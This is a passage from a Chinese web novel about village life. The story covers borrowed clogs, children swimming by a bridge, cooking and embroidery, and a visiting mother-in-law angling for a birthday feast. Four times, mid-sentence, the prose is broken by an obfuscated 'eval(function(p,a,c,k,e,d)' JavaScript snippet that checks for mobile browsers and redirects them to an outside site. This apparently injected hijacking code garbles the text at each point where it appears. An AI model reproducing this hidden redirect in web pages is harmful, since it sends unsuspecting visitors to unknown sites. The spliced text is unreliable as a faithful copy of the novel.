陈氏撑着雨伞，踩着木屐到家时，杏娘迎上去便问：“娘，家里剩下的两双木屐去哪了？我把杂物房翻了个底朝天也没找到” 陈氏甩一把伞上的雨水，靠墙放在檐下，脱下木屐走进大门，“木屐？哦……好像是你三嫂穿了家去了，她没还回来吗？” “什么时候穿走的？” “我想想……”陈氏漫不经心扭头看鞋底，“应该是上个月吧，就上次下雨经过家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457600|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口借的，我想着家里木屐多就给她了。” 这都快大半个月了，要想还早还了，若是天天下雨，岂不借走就不用归还。 杏娘忍着一口气，不悦道：“三嫂就算借了木屐穿回家，那也还剩一双啊？” 陈氏双手一摊，无辜表示：“她说家里的木屐坏了，你三堂哥出门不方便，一道借过去用两天，到时一起拿过来。又不是多难的事，人家开口了，都是实在亲戚，我能怎么办？就都给她拿走了。” 杏娘一口气上不来，很想破口大骂：您自个家是什么地主老爷还是富户乡绅，穷到就差掏耗子洞了，还在别人面前充大户。您老撇不开面子说借就借，倒是记得拿回来啊？哦，东西是您当好人借出去的，人家不还也不去拿，指望别人出头得罪人…… 就没见过这种老人，得亏自家不是富裕的，不然金山银山也得败光。 杏娘懒得搭理婆婆，生怕自己控制不住朝她呛声，为这么点小事不至于，可又咽不下这口气，干脆眼不见为净。 这条垄上老丛家的婆娘，丛二奶奶孙氏和她的大儿媳吴氏，跟她亲大嫂林氏都是一类人。 丛二奶奶生了两子三女，女儿都已出嫁，两个儿子行三、行四，老两口跟着小儿子住。想来也是，若婆媳都是贤惠人，那肯定是合不来的，毕竟“贤惠”这个东西仁者见，仁智者见智。 她们这样的人能不当面得罪，还是退一步的好，不然什么时候被穿了小鞋都不知道。 …… 本地的黄瓜长得快，鲜嫩的切成簿片跟青辣椒一起炒，或加了盐、酱凉拌都是不错的菜。 不过杏娘最喜欢的是多长了几天的老黄瓜，切成块，连着厚厚的一层皮跟泥鳅一起炖。炖的软烂香甜，更浸了泥鳅的肉味，连着皮也不会散掉，极为下饭，泥鳅比起鳝鱼口感更细嫩，适合炖了吃。 正好下过雨闷热稍减，吃炖菜也不会热得满头大汗，还省了炒菜热出一身油。 雨下了两天才停，等到路上的泥巴不沾鞋底已是晒了两、三个太阳后的事。 河里的水肉眼可见地上涨了，水田和沟里也积了巴掌深的水，免去了丛三老爷的一顿辛劳——家里没有成年汉子，踩水车可不是件容易的事，毕竟那么多农田要浇个遍。 杏娘特意选在大门屋檐下洗衣服，时不时瞅一眼西边的石桥。吴氏拿着镰刀的身影一出现在桥头，她就站起身擦干手往西边走。 丛三爷家的小儿子一家三口正在吃早饭，丛康看着进来的人站起身：“七婶，您过早了吗？给您添一碗？” “不用，不用。”杏娘婉拒，“家里吃过了，我是来找你娘的，你娘在家吗？” “您来的不巧，她刚去河对岸的菜地，说是割一把毛豆回来炒了吃，有什么事您跟我说也是一样的。” 杏娘直言道：“听我娘说三嫂借了我家的两双木屐，眼看着天气越发热起来，热天用得少，我想着把鞋子刷干净收拾起来，以免鞋面发霉烂掉，就过来问一声是不是在你家？” 这种事丛康是不清楚的，他媳妇忙出声：“在呢，在呢，前两天下雨还拿出来穿了的，没想到是七婶家的，七婶等着，我去找出来。” “那就劳烦你了。” 等木屐到手，杏娘指了标记给两人看：“这是我家的印记，错不了，我就先拿回去了，三嫂回来你跟她说一声，免得她一时想起找不到着急。” 丛康媳妇忙点头答应，杏娘拿了木屐回家。 42. 第 42 章 炎热的夏天对小子们来说是精彩纷呈的，上树掏鸟下水捉鱼，每日忙得不可开交。 一张张稚嫩的面孔晒得黝黑发亮，夜里不张嘴都看不见人，一张嘴吧，冒出两排白得发亮的牙齿，猛不丁吓人一跳。 善泳者溺于水，农家人虽没读过这句话，却是知晓淹死鬼都是会游水的这个道理。 故而年长者对家里的小儿们都是威逼、利诱加恐吓的组合拳。 什么河里的水鬼全身长满了长长的头发，专门缠住水里的小孩脚腕，让他的头出不了水面；或者河里冤死的孩子躲在水底下呢，就等着抓一个孩子好当替死鬼，自个去转世投胎…… 当然十来岁的半大小子是唬不住的，就算是水里下刀子那也要去游上一游，对青皮两兄弟来说却非常奏效。 在他们这个年纪，神仙鬼怪之类的传说是真实存在的，碗里的饭没扒干净或掉到地上，电母娘娘就会生气，派雷公来劈这个人。 石桥旁边的那颗大树明明都枯死了，为什么还不倒？ 那是因为树里住了一条非常大的白蛇，下暴雨时天雷把树劈开，蛇化成龙飞天了，没看见树干上有烧焦的痕迹么？ 这都是他们奶奶亲口所说，她还看见过那条蛇呢。一道白光闪过，一条长长的黑影瞬间冲上九重天，长出龙的头和爪子，威风极了。 恐吓是必须的，甜头也是要给的，吓唬得了一时，唬不了一世啊。杏娘承诺两个二子每天傍晚在石桥旁边，有大人陪着时，他们可以玩水。 这可乐坏了小子们，太阳还没落山呢就催着家里的大人往桥边走。 一时之间水里长满穿着亵裤的黑皮娃，亦有如青果这般光着全身的小小子。当然他这般大的是不下水的，最多就在岸边的台阶上坐着抬手踢脚过干瘾。 桥上站满看热闹的男女老少，眼睛盯着自家的皮小子，嘴里不忘搭话闲聊，天南海北，畅所欲言。 丛康家的小子比青果还小，被他娘拘在家里的水盆玩得不亦乐乎，尚且还是好忽悠的年龄。他是个爱凑热闹的，看桥上人多也往这里挤。 水里的小不点们划水姿势各异，技巧各有高低，他就蹲在桥边上一一点评。 “哎，青皮游得太慢了，手伸直往前划。” “朱家的小子们就是猛，狗刨都这么有气势，不愧是专门生儿子的。” “那个谁？说的就是你，闭气是把脑袋沉到水下面，不是只沉嘴巴，你这样怎么学得会？” “你这么能干，不如下去教他们怎么游水？”旁边插进来一道男声。 “什么？”丛康疑惑回头，不等看清人影，身子不受控制猛地下坠掉落桥面。 原来是朱青水看他闲得慌，对着他的屁股就是一脚，丛康被踹下河。 “噗通”一声，桥上静了一瞬，下一刻爆发出猛烈大笑。 丛康顶着几片水草在河里站起身，大喘几口气，一手叉腰，一手指着朱青水破口大骂：“朱老四，你个砍脑壳的，你想死是吧？老子哪里惹到你了，你把我往水里踹。” “我这是给你创造机会教小子们游水，他们长大了会感激你的。”朱青水闲闲调侃，不把他的怒吼放在眼里。 丛康一把扯下头顶的绿草，更加愤怒：“老子用得着你创造机会？你这么喜欢当先生，你自个下来教。” “你下都下去了，顺便教一下咯，反正闲着也是闲着，你说是吧？” “你他娘的才闲的慌，朱老四，我跟你没完，你个混账王八羔子，你给我等着……” 两人一个桥上，气定神闲，一个水里，气急败坏，有来有往，互相对骂。 围观众人笑得打跌，杏娘捂着肚子直不起腰，一抬头看到这个情形又开始笑得直抽抽，更有甚者一屁股坐在地上喊“哎呦！我不行了，不能笑了，哎呦！我的肚子，哈哈……” “朱老四，老子鞋子不见了，你赔我一双新鞋。”丛康恨不得掐死那个罪魁祸首。 朱青水大手一挥，颇有将军指点江山的豪迈气概：“底下的小子们，你们丛康叔的鞋子掉河底了，到你们大显身手的时候了，谁找到鞋子重重有赏！冲啊，小伙子们！” “哇哦！”水里一阵狼吼鬼叫，黑小子们一个猛子扎进水里，露出两个白底脚丫踢腾倒水。 顿时河面如同煮开了的滚水，沸反盈天，喧哗似鞭炮在水里炸开锅。水底涌起的污泥四溅，喷了丛康一头一脸，气得他更加急赤白脸地怒吼大骂：“他娘的……” 刚一张口，一坨烂泥糊住嘴巴…… 新一轮骂战升级开始，围观看客已无余力说话，瘫在树墩子上大口喘气。 …… 英娘提了一条肉走进灶房：“杏娘，陪我去一趟周老爷子家。” 杏娘正在切咸菜，“去他家干什么？” 提起因由，英娘就一肚子火，“昨天我们当家的和丛康闹的那出你知道吧？” 不说还好，一说杏娘肚子又开始疼，握着刀的手打颤，干脆不切了，“你别提了，我实在不能笑了……昨晚差点没把我笑死，我这辈子就没碰到过这般离谱的事。” “你们倒是笑地过瘾。”英娘翻一个白眼，“我们家臭小子差点就倒霉了。” “这是怎么说的？” “你说男人能干什么？本来要他过去是看着孩子的，他倒好，就顾着自个耍的乐呵，孩子甩到天边去了。我们家臭小子本来是坐在台阶上打水玩，也不知怎么回事滑到水里去了，飘荡到河中央了都没人发现，幸好是脸朝上的，他也没乱扑腾。” 说到这里，英娘仍心有余悸，“多亏周邻这孩子眼尖一把拽了回来，要不然……出个什么事，我活撕了他的心都有。” 杏娘也吓得白了脸，玩水就怕这种，一个不注意什么情况都有可能发生。 “那确实挺吓人的，昨天傍晚闹哄哄的，我也没太留意。周邻这孩子实在难得，主要是人太多了，都只顾玩自个的，他还能注意到别人。” “是啊！谁说不是呢？”英娘点头附和，“我家小子回家后跟我说的，要不我能知道？我这是不在现场，要在的话非得一脚把孩子他爹也踹水里去，他不是喜欢闹吗？我让他闹个够。” 杏娘又忍不住要笑，实在是，这事不论怎么想就是控制不住想笑，“你这是要去周家道谢？” “嗯！早起当家的跑去镇上买了一条肉将功赎罪，人家不说，咱也不能当不知道是吧，该道谢还是要谢的。周家就一老一小，我一个人去也不大合适，你陪我一起去吧。” 杏娘转身往井台边走，“你等我洗洗手，周邻这孩子确实是好，我们家三个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457601|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜虫多亏了他时不时帮衬着，要不然天上掉馅饼都吃不到嘴里，” …… 下个月双抢就要开始了，当家的也要回来，杏娘要提起准备好这期间吃的菜。头一年不清楚实情，着实被陈氏坑了一把。 夜半三更起床去田里割稻子，忙得汗都来不及擦，流出的汗没有一斤也有八两，晒得差点虚脱。晌午时拖着半死不活的身子到家，饥肠辘辘地刨几口带着股馊味的猪食样饭菜，杏娘想死的心都有。 这是人吃的东西吗？ 特别是对劳累了三、四个时辰的人来说，吃一口干净的饭菜就这么难？ 这简直就是刚出狼窝又入虎口啊，不带这么欺负人的。 前途一片黑暗，看不见任何出头之日。杏娘那一个月过地生不如死，精神加□□的双重打击，累成狗还成天吃不饱，农忙结束人瘦了一大截。 有这样的婆婆还不如没有，没有婆婆帮忙就没任何指望，凡事亲力亲为都不会过成如此这般惨状，有苦都不知道找谁说。说了人还觉得你矫情、娇气，别人能吃，你为什么不能吃——就是还没累着，多饿饿就好了。 简直他娘的放屁，杏娘心里骂娘，她就算是饿成人干，饿死了，她也吃不下这样的饭菜。 至那以后，每次快到农忙了，杏娘就开始准备各类菜肴。大热天能久放的无非是些腌菜、油炸菜和酱菜，就算是没有肉，她也能吃地津津有味，至少不用饿死。 辣椒还不到红的时候，杏娘决定先从炸兰花豆开始。正好云娘家孩子多大人少，农忙时更是烧壶水的功夫都没有，两个约了一起剪蚕豆。 年后收的蚕豆晒得枯瘪干脆，加水泡一个晚上，隔天对着一头剪开一道口子即可。 大小均匀，颗粒饱满膨胀的蚕豆一剪就破开，几乎不费什么力。干瘦泡不开的豆子就有点费事，有些咬牙使劲也能剪开，有些两头都硬得跟榔头似得，气力使大了还容易划伤手。 剪豆子这事不累，就是烦人，总共半桶豆子，剪了半天低头一看——好家伙，还剩半桶。 人就有点崩溃，感觉没个头啊，还越剪越多了。 两个人搭伙干活就不一样了，说东家道西家，说话又不累，手上也没闲着，不知不觉就把活儿干完了。一天是非说下来，浑身舒畅，越说越开心，甚者觉得还没说几句呢，豆子怎就没了？ 所以一般干这种活杏娘都要找个伴，往常是跟英娘一起，今天她要回娘家。 她娘请人捎口信说兰花豆炸好了，要她过去拿，杏娘就找上了云娘——此处不留爷，自有留爷处，离了张屠户，还能吃带毛的猪不成。 云娘家的院子收拾的干净整齐，挨着走道的两边种了一溜美人蕉。粗大挺拔的叶子簇拥着柔嫩艳丽的花朵，给小院添了一抹生机勃勃的顽强色彩。 何石是个比丛孝还做事细致的人，丛孝干完手头的活，也会跟寻常男人一样像散掉了骨头，懒懒散散地喝酒、吹牛、扎堆，就当修养一阵身子骨。 何石不然，他就算做完了田里的活，回家也是敲敲打打，这里挖几锹土，那里平几下坑，就没个闲的时候。他家院子边上的排水沟都一尘不染——何石空闲时捡了石头一一垒平整。 他这般的汉子，男人提起来也得竖大拇指，不服不行，这真是个能吃苦的。 43. 第 43 章 “杏娘，有个事想跟你商量下，不知是否可行。”云娘深思片刻，还是决定开口，能不能成总要问一声，不问永远不行。 杏娘咧嘴一笑，自我夸赞：“嗨！我这个人嫂子还不了解，说话心直口快，其实心地不坏。嫂子有什么事尽管直说，但凡我能帮上忙，定不会推脱。” 云娘被她逗笑，也没了顾虑：“我家的情形你也知道，女孩子们渐渐长大，开始讲究爱干净，之前家里过得紧巴巴人也不凑手，能有口水喝就不错了，没得挑。现如今孩子们能帮上忙，过得也宽松了些，她们就嫌弃河里的水腌臜，想要用井水。打一口井可不便宜，我就想着能不能去你家打水……” 杏娘家的井还是当初丛孝建房的时候一起请人打的，花了十来两银子。修整得干净、利索，井台上压了一块大而簿的石板，防止孩童掉下去。 农家人随水而居，河里的水流淌不绝，家常日用中女人们喜欢用活水。 从吃的——洗菜、煮饭、喝水，到用的——洗床单、被套、衣服、洗澡，生活中用水的方方面面都离不开河水。 杏娘却不爱用河水，除了清洗衣裳去河边，一般都是用自家的井水。习惯了用河水的妇人总说河里的水是流动的，脏东西都流走了，干净着呢，而且用河水煮饭有甜味，比井水好吃多了。 在杏娘看来，哪有什么甜味，屎臭味还差不多。沿河的人家，谁家臭烘烘的东西不是在河里洗的——夜壶、尿布、粪桶等，更有甚者家里养的鸡鸭猪死了也往河里掀。 活水是流动的，自家的脏东西往河里倒了会流到下游，问题是此处的河水也有上游啊，人家照样把脏东西在河里洗了流到此处。 反正杏娘一想起就膈应，她是从来不吃河水的，她娘家也不吃。 “我还当是什么事呢。”杏娘满不在乎，随口答应下来。 “嫂子要用水了，随时过去打水就是，我在家的话没得说，就算我不在家，那也不存在任何问题。我家婆婆是什么样的人，嫂子还不清楚，说句难听话，那比抱窝的母鸡还念家，我家就没空的时候。” 云娘忍俊不禁，大笑出声，她这样温柔含蓄的人很少有这般大的情绪起伏，实在是杏娘说地太逗了，虽然有些许对长辈的不恭。 不过更不恭的事情她也做了，比较起来这还算小意思。 两人有说有笑干活也不累，时光流淌，静谧无声。 大人们忙碌着生计，青叶跟何家的三姐妹忙着学手艺——女红。 玉陵县一年两季水稻收成，瓜果鱼虾不绝，妇人们只要能帮着干农活，其余的针织女红、灶上手艺都无严苛要求。 手上有绝活是锦上添花，没有也无甚要紧。农家女孩去不了村学启蒙，家里有哥哥弟弟的跟着认几个字，爹娘不重视的仍是两眼一抹黑。 丛三老爷闲来无事就教三个孙子、孙女背书、认字，权当闹着玩罢了，说来几个女孩里要数青叶认识的字最多。 丛三老爷出生时家里尚算富裕，没吃过甚大苦头，少时也跟着先生们念过书。他是属于那种典型的爱读书不求甚解，课堂上认真、勤恳，却常年霸榜倒数的“差等生”。 科举文章记不住，传记演义看一遍能说出大致情节。 老话说巧妇伴拙夫，好汉无好妻，娶了一个出了名的懒婆粮，他也没有过不满，依旧老老实实过日子。平时沉默寡言，只知埋头干活，青叶有幸见过自家爷爷侃大山，说起诸葛亮草船借箭，武松醉酒打虎，声调抑扬顿挫，情节行云流水。 说的人张口即来，情感充沛，听的人如痴如醉，仿若身处其中。 青叶小时常被爷爷抱了去放牛，找一片水草丰盛处放长牛绳，丛三老爷席地而坐搂着孙女念书。 也不管她听不听得懂，自个倒是沉迷其中，不可自拔。牛啃光周围的青草拽着绳子往前走，他才醒过神，抱起孙女往前走几步再一屁股坐下来。 小青叶乖巧听话，尽管听不懂爷爷说的什么，也安静扯了草叶子缠绕手指。读到兴起的爷爷放笑出声，她也跟着咧嘴乐呵，童音清脆，稚子可爱。 及至再大些了，丛三老爷烧灶时捏着烧焦的细木棍在地上写了常用字教小家伙们认，亦或是他们大伯废旧的毛笔沾了水写在石板上。 小崽们只当个游戏，上一刻一行十个字，个个对照入座，无有错漏。一顿饭吃完，谁是谁家的就分不清了，混淆一团。丛三老爷也不生气，下次吃饭前照例写几个字考一考，纯属图一乐子。 青叶到底年长几岁，日积月累下来也能识得小半本书。 小姐妹们练习用的不是什么好布，都是大人裁衣剩下的零碎，在做成鞋底子之前还能发挥一道余热，物尽其用嘛。 花样子也是简陋、粗糙的，既无神似也没有形似，充满浓浓的乡土气息。 削得细细的柴火棍在布头上描一朵花，加上一条根茎，最后添上两片叶子，一个简单的底样就成了。穿针拉线照着黑色的痕迹绣花即可，出来的成品也不看是否漂亮，只看针脚是不是齐整，有没有漏针，或者线是否拉平。 会不会绣花不是最重要的，要紧的是缝制的衣物要针脚细密平整，不要跟咸菜似得皱巴的像刚从坛子里捞出来。 杏娘饭食做的好，针线只是平常，做出来的衣裳只能说是中规中矩，没有甚出彩之处。绣花更是不用想，这玩意靠的就是心性，她少时哪里坐的住。 初时青叶信心满满，摩拳擦掌准备大展一番才华，还嫌弃她娘给的布片太小，巴掌大的布头能干什么。恨不得她娘扯匹新布以免浪费了她的心血，新布自然是没有的，杏娘甩了她一个鄙视的眼神，呵呵冷笑两声，嘲讽的意味不言而喻。 青叶不服气，誓要她娘刮目相看，后悔自个的势利短视。 无奈理想是丰满的，现实是骨感的。 这世上怎么会有绣花这种东西？ 这一针一针的什么时候是个头，眼都花了，针才走几步，慢吞吞堪比蜗牛。按青叶的想头，恨不能一针就有手指长，三下五除二几下搞定，多省事。 奈何这样做出来的衣裳别说穿了，能不能套上身都是个问题。 青叶生无可恋地抬头，对上同样两眼无神的何竹，两人都如同霜打的茄子——有气无力。瞟一眼旁边的两个小姐姐，眉眼温和，平声静气地穿上拉下，一派沉稳，衬得少女的容颜越发清秀。 两个小的长叹一口气，躲是躲不过的，只听说谁家媳妇子针线活不好，没听过不会做针线的，爹娘都跟着丢人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457602|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。转动脖子重新埋头，学吧，慢慢学，且还有得熬呢。 当娘的自是不知道女儿的痛苦，就是知道了也不在意，谁小时不是这般过来的，熬习惯就好了。 “嫂子爱吃南瓜藤吗？我家后院菜园的南瓜藤牵的太密了，每天都在割还是长得快，嫂子要是喜欢吃的话，等会儿剪完豆子去割两篮子。”一时说起晚饭的菜肴，杏娘想起这一茬，顺嘴问了一句。 夏天的南瓜藤疯长，枝丫蔓延到大半个菜园，宽大的叶子铺得满地都是。 割掉南瓜藤顶端的一小段嫩茎秆，撕掉带绒毛的表皮，连着小朵的叶子一并清炒。爱吃辣的放两个青椒，南瓜藤嫩绿多汁，清脆爽口，略带苦涩，在炎热的天最是下饭。 有些人专门吃南瓜的花苞，花骨朵里塞了肉隔水蒸，又是一道美味。还有人爱吃花下面的那一段茎秆，这个就比较费事，不易凑成一盘菜。 且割南瓜藤并不影响结果，有一种说法是掐了头南瓜还结的更多呢。 云娘直起腰杆坤一坤，缓一口气，“那就多谢你了，我家人多，吃菜厉害，每顿饭想着方得弄吃食，总不能天天就吃那几样。” “谁说不是，天热的吃不下饭，不吃肚子饿，提起筷子又没胃口。我每天就着一碗酱菜胡乱扒几口了事，跟完成差事一样。”杏娘胃口这么好的人，到了这个天也如晒干的菜苗失去活力。 云娘轻笑出声，“早起去芝麻田扯了半天草，出一身汗回来，晌午多添了半碗饭。你说人这个东西可真是贱，非要累得气喘吁吁才吃的香，睡得着。我们两口子就是个劳碌命，不干活煮饭的米都少一把，你说说这怎么胖得起来。一家子都是细条条的，不知道的还以为我成天饿着他们。” 一番话说得两人都笑起来，农家少有像镇上那样的富态人，养再多的肉到了割稻谷的时候都得掉一半，瘦的人更是成了麻杆。 故而不那么忙时，家家户户都会弄点好吃食调养身子，就盼着养一点肉扛住收成时的磋磨。 说到酱菜，云娘少不得提一嘴：“早听说你的酱菜手艺好，一直没机会尝试，给我一碗你做的酱吧，我也不白拿你的东西。明儿早上几个丫头打算去扯盐包草，剥一碗跟你换，如何？” 盐包草是一种本地的蒲草，喜长在水边，一长就是一大片。长长的叶子长得比人还高，跟茭白类似，包裹的嫩芯却小得多，只手指长，粗细也如手指大小，称作篙菜或蒲菜。 这个东西鲜嫩脆甜，配黄骨鱼炖汤堪称一绝，鲜得能吞掉舌头，清炒也不遑多让。盐包草长得细密，水底的根茎不易扯断，且蚂蟥也多。更要命的是难剥，一捆盐包草勉强能剥一盘嫩芯，忒费时间。 除了实在闲极无聊的大人会去扯盐包草，也只十来岁的半大少年会干这事，对于吃食，他们永远有着无穷耐心。 杏娘乐不可支，爽快同意：“这我可占便宜了，又来偏嫂子的好吃食。说来我也好久没吃过盐包草芯了，少时吃得多，现在哪还顾得上弄这个。也只嫂子家孩子大了能吃上一口，这玩意平时想不起来也不惦记吃，一说起倒恨不得能立马吃到嘴里。哈哈，我就是个嘴馋的。” “能吃是福，你的福气哪是旁人能比的。” 两人一顿互捧，其乐融融。 44. 第 44 章 杏娘在别人家院子聊的乐呵，也没听见有人进屋喊人，来人听到说笑声往院子走来。 “哟！说什么呢，笑的这般快活。”一个轻柔的女声突兀的响起。 杏娘抬起头：“婶子过来啦！婶子这一向可好？”边打招呼边起身让出凳子，云娘早站起来去灶房给婆母搬板凳。 王氏谦让道：“你自个坐，我好着呢，闲着过来看看，你们忙你们的，不用管我。” “婶子不用跟我客气，坐半天了顺便站起来歇口气。”正好云娘拿来一个小板凳，杏娘接过来坐下。 因多了一个人且还是长辈，院子安静下来，三个人谁都没有开口说话。 还是王氏最先打破沉默：“杏娘，听周老爹说用了你爹李老大夫的风湿膏，腿疼的毛病好多了。何石他爹年岁大了，老寒腿虽说没周老爹的那般严重，冷冬腊月的也疼得慌，下次去你爹娘那时能不能托你带几帖？” “啊？风湿膏？”杏娘一时有些错愕，这热得冒烟的天气怎地想到风湿膏的，就算是提前准备也太早了些，提前半年了都。 尽管疑惑，她也没追根究底，兴许人家就是这般的行事作风呢，无伤大雅的事情没必要弄得清楚明白。 杏娘一口答应：“没问题，这有什么难的，婶子无需客气。我爹虽说不看病开药方了，膏药还是在卖的，用过的人都说好呢。” 王氏长叹一口气，表情略显伤感，“这人啊上了年纪，身子骨就不行了，不是这里酸就是那里疼的，还不知道能活几日。要不是顾念着孙子、孙女们还小，这把老骨头早撑不住了。” “婶子，你可千万别这么说，我爹娘比您大了有七、八岁吧，他们都还不服老呢。您呀，年轻着呢，这要走出去谁敢说您老？”杏娘真心觉得王氏想得太多，还不到五十的年纪也够不着垂垂老矣。 何况她长得又显年轻，脸上白皙光滑，只笑起来眼角一圈皱纹，头上一根白发也无。 再怎么样也跟年老体弱相去甚远吧！ 云娘一直没说话，嘴角挂着淡淡的笑意，自婆母来了后只顾低头剪蚕豆，听她们两个有来有往。 王氏语带羡慕：“谁能跟李老大夫比，他老人家的子孙孝顺得很，小李大夫在镇上风评很不错，大家都说往后保安堂的主治大夫就是他了，张老大夫且要靠后。听说前段时间李老大夫过生辰，他老人家交际众多，想必热闹的很吧？” 王氏的小儿子赵平在镇上一家铺子当伙计，对镇上的人事门清，小李大夫也是时常打交道的。 “那倒没有，”杏娘实话实说，“我爹娘都不是那等张扬的人，无事轻易不宴客，他跟我娘的生辰都只有家里小辈过来道贺，亲戚朋友的都不请，就是嫌麻烦。旁人家恨不得年年办宴席好收几个礼钱，我爹恰好相反，巴不得一直不办才好，宁愿往外送礼钱。” 王氏笑容有些勉强，不死心继续追问：“散生确实没有大办的必要，整十的寿辰还是要办的吧？老人家就是自个不想办，为了子女着想，也是要置办宴席的。要不然知道的说是老人嫌累赘，不知道的还以为子女不孝顺，连父母整十的寿宴都不舍得出钱。” 云娘嘴角僵硬的笑容出现裂痕，她更深地埋下头，让人看不清她脸上的面容。 杏娘更加莫名其妙，不明白她为何在寿宴这个事情上死缠烂打，不过仍是耐心回答。 “整十的寿辰也是不办的，我爹那个人这些事都看得很淡。他老人家还说呢，百年后也不必办丧事、选坟立碑，一把火烧了了事。骨灰愿意洒在哪个地方就洒在哪，他不介意。” 她停顿了一下，有些想笑，“婶子您说说，哪有当长辈的这般嘱托后人的，我们要是按照他老人家的吩咐做事，那可真要被人指着脊梁骨骂不孝了。” 王氏“……” 她实在不知如何接话，李老大夫是个怪胎，你也不遑多让，怎地就听不懂别人想说什么呢——简直比棒槌还直溜。 “李老大夫确实是个……与众不同的人，难怪他老人家能教出如此出息的子孙。我原以为大伙跟我们村习俗是一样的，你婆母之前不也张罗过整四十的寿宴，是吧？” 杏娘嘴角一撇，一脸不屑，“我婆母那个人，不是我说，一辈子就没做过几件好事。她老人家这辈子就是命好，羡慕不来，年轻时有汉子撑着，老了靠儿子养。半点闲心不操，一点也不体谅小辈们的辛苦。” 她抬起头跟王氏求证：“您也是当长辈的，经的事比我们多多了。您应当也清楚这个道理的吧，一般的满月婚嫁酒席，亲朋好友多的人家除掉花销肯定是有赚头的，再不济也不会亏，至多打个平手。 寿宴就不一样了，为了老人面子好看，菜要上得了台盘，酒要好酒。拢共就收那么点礼钱，哪够这般奢靡的酒席，做儿女的少不得倒贴。” 说到这里，杏娘也是满心不舒服，“要说老人真是六、七十的年岁了，没得说，为人子女的就算是去借利钱，该办也还是要办的。可四、五十的年龄，要我说真不算老，头发没白牙齿没掉的，算什么老人。 我婆母那个人哪会管儿女的死活，就顾着自个心意，面子好看，您说说，有这么当长辈的吗？” 王氏“……” 她什么都不想说，她只想掐死眼前的棒槌。 云娘死死地咬住嘴唇，头几乎埋到膝盖，因憋笑脸涨得通红，仍是控制不住双肩颤抖——她婆母估计这辈子就没踢到过这般硬的铁板，杏娘从另一方面来说，也算是油盐不进，水火不侵了。 王氏连表面的客套都维持不下去，她本来是想借个由头达到自个的目的，有外人在还能敲敲边鼓更容易达成目标。 不成想目的没达成，反被将了一军，这个棒槌是如此的拧不清，再扯下去还不知道能说出什么不入耳的话。 她草草结束话题，又随意闲聊几句，匆匆忙忙起身走了。 过了片刻，等确定婆母回了自个家，听不到这边的动静，云娘终于没忍住，趴在膝上闷声大笑。 她笑得如此痛快，以至于从小板凳上滑下来坐到地上，仍然不管不顾地闷笑。 “你……你怎么了？” 云娘抬头看到杏娘一脸莫名，再想到婆母落荒而逃的背影，更是控制不住浑身颤抖，笑得几乎喘不过气。 杏娘想扶起她，云娘摆手，笑得肚子疼的厉害，好容易止住了，一看到她又想笑。如是几次后，杏娘就不管她了，她都没搞明白她在笑什么。 酣畅淋漓的痛笑一场，云娘浑身酸软，摊在地上不想起身，她捋一把鬓角散落的碎发，“杏娘，今儿多亏了有你，我得好生谢你一回。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457603|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“谢我什么？”杏娘要被这对婆媳搞糊涂了，老的少的都说些让人听不懂的话。 “我家的情形你也知道。”云娘露出一个惨淡的笑容，“我那个公爹今年过五十生辰。” 云娘家的情形说起来有点复杂。 何石的亲爹在他五岁上得病走了，王氏一个年轻小媳妇养不了家，又无公婆约束——公婆在两年前先后去世。 加上手上颇有些积蓄，带着个孩子嫁予别处多受掣肘，还不定吃多少苦头。财产被人昧了不说，连人能不能保得住也没个数，干脆想出来一招坐产招夫。 招来的夫婿姓赵，比王氏大了整五岁，因家贫年岁大一直娶不上媳妇。眼看着迈入三十大关，即将要成为一个老光棍，不得已寻了媒婆答应当上门女婿。 然而上门女婿也不是那么好找的，能招赘的人家多半有些个家底，要么图男方的人才相貌，要么图他的才干品德。赵德这般哪样都不靠边的人更是难找，他自觉已是委曲求全，万般无奈降低要求了，殊不知这类人在媒婆那根本排不上号。 世上的事就是这么巧合，也说什么锅配什么盖。 王氏跟赵德恰好就配上了，一个年轻守寡带着孩子，手上有些家资。年轻男人自然不适合，稍年长几岁的正好过日子，也不讲究相貌，能干活就行。 